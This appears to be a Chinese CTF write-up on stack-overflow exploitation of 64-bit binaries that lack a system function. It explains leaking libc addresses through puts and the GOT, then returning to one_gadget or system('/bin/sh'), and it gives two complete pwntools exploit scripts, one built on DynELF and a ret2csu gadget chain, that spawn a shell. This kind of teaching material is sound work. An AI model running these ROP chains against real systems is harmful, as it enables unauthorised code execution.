pwn(无system函数下的栈溢出漏洞利用 | 【puts函数】

普通的64位程序的puts利用,如
pwn(无system函数下的栈溢出漏洞利用 | 【puts函数】_第1张图片
可以看到是很明显的栈溢出利用,同时并没有后门
基本的利用思路是栈溢出后利用puts函数打印出任何函数的地址
然后返回main函数再次进行利用
具体利用是

leak
先用ROPgadget寻找gadget:pop rdi ret
(用于控制puts的参数)
然后第一次的payload: payload=‘a’*0x20+‘b’*8+p64(prdi_ret)+p64(puts_GOT)+p64(puts_plt)+p
64(main)
利用 puts_plt 把 puts 函数的GOT表项打出来,然后回到main
第二次根据puts函数的地址和固定偏移计算出 libc 的加载地址,至于这些偏移 可以在脚本里面写symbols[‘puts’]也可以直接用gdb调试时 :p puts然后vmmap 查看基址,相减得到偏移

ret
得到基址之后使用one_gadget,满足限制条件即可,或者利用libc里面
的 /bin/sh 地址,调用 system 也行(个人推荐用one_gadget,方便很多)
第二次的payload: payload=‘a’*0x20+‘b’*8+p64(libc_base+one_gadget_offset)
exp如下

from pwn import *
binary = './pwn1' #binary's name here context.binary = binary #context here context.log_level='debug'
pty = process.PTY
p = process(binary, aslr = 1, stdin=pty, stdout=pty)
 #process option here
'''
Host =
Port =
p = remote(Host,Port) '''
elf = ELF(binary) 
libc = elf.libc
my_u64 = lambda x: u64(x.ljust(8, '\0'))
my_u32 = lambda x: u32(x.ljust(4, '\0'))
#lambda表达式是快速定义函数的用法
#u64()是字符串转int
#ljust是将字符串以‘’来填充至多少位
p.recvuntil('your name\n') 
p.send('aaa') 
p.recvuntil('the key?\n')
prdi_ret=0x4012ab
puts_GOT=0x404018
puts_plt=0x401030
main=0x401162
payload='a'*0x20+'b'*8+p64(prdi_ret)+p64(puts_GOT)+p64(puts_plt)+p64(main)
p.send(payload)
puts_offset=0x6f690
one_gadget_offset=0x45216
p.recvuntil('fail!\n') 
libc_base=my_u64(p.recv(6))-puts_offset 
p.recvuntil('your name\n')
p.send('aaa')
p.recvuntil('the key?\n') payload='a'*0x20+'b'*8+p64(libc_base+one_gadget_offset) p.send(payload)
p.interactive()

另一个例题:
pwn100及exp
首先用checksec看一下权限的情况pwn(无system函数下的栈溢出漏洞利用 | 【puts函数】_第2张图片
扔进ida64发现是一个栈溢出漏洞,但是并没有system函数和/bin/sh可以使用
这里需要用到一个DynELF类
具体细节可以参见这篇文章
https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=42933&highlight=pwn
核心思路是通过DynELF泄漏出system函数地址,然后再获得flag
具体的需要利用pwngadget来寻找可以利用的汇编指令集

from pwn import*
context.log_level='debug'
 
start_addr=0x400550
pop_rdi=0x400763       
#pop rdi   retn
gadget1=0x40075a      
#pop rbx rbp r12 r13 r14 r15 retn
gadget2=0x0400740   
#mov rdx,r13  mov rsi,r14  mov edi,r15d  call word ptr [r12+rbx*8]
binsh_addr=0x60107c
 
io=remote('111.198.29.45',*****)
elf=ELF("./pwn100")
#当前目录下得有源文件

puts_addr = elf.plt['puts']
read_got = elf.got['read']
 
def leak(addr):
	count=0
	up=''
	content=''
	payload='a'*0x48
	payload+=p64(pop_rdi)
	payload+=p64(addr)
	payload+=p64(puts_addr)
	payload+=p64(start_addr)
	payload=payload.ljust(200,'a')
	#程序要求要输满200个才能继续执行下面的语句
	io.send(payload)
	io.recvuntil("bye~\n")
	while True:
	#无限循环读取,防止recv()读取输出不全
		c=io.recv(numb=1,timeout=0.1)
		#每次读取一个字节,设置超时时间确保没有遗漏
		count+=1
		if up == '\n' and c == "": 
		#上一个字符是回车且读不到其他字符,说明读完了
			content=content[:-1]+'\x00'
			#最后一个字符置为\x00
			#puts()的输出是不受控的,作为一个字符串输出函数,它默认把字符’\x00’作为字符串结尾
			break
		else:
			content+=c
			#拼接输出
			up=c
			#保存最后一个字符
	content=content[:4]
	#截取输出的一段作为返回值,提供给DynELF处理
        log.info("%#x => %s" % (addr, (content or '').encode('hex')))
	return content
 #防报错模版,当利用puts泄露时使用
 
 
d = DynELF(leak, elf = elf)
system_addr = d.lookup('system', 'libc')
log.info("system_addr = %#x", system_addr)

payload='a'*72
payload+=p64(gadget1)
payload+=p64(0)      			#	rbx=0  之后有一个call是[r12+rbx*8]
payload+=p64(1)      			#	rbp=1   有一个cmp判断
payload+=p64(read_got)	 		#	r12=read
payload+=p64(8)		           	#	r13=8    read size
payload+=p64(binsh_addr)	    #	r14=binsh_addr
payload+=p64(0)		            #   r15=0    r15 read 参数
payload+=p64(gadget2)
payload+='\x00'*56             
#一共要从栈中弹出这么多数据,6个pop,还把rsp加了8,6*8+8=56
payload+=p64(start_addr)
payload=payload.ljust(200,'a')
io.send(payload)

io.recvuntil('bye~\n')
io.send('/bin/sh\x00')
 
 
payload = "A"*0x48
payload += p64(pop_rdi)#system("/bin/sh\x00")	
payload += p64(binsh_addr)
payload += p64(system_addr)
payload = payload.ljust(200, "B")

io.send(payload)
io.interactive()

你可能感兴趣的:(pwn)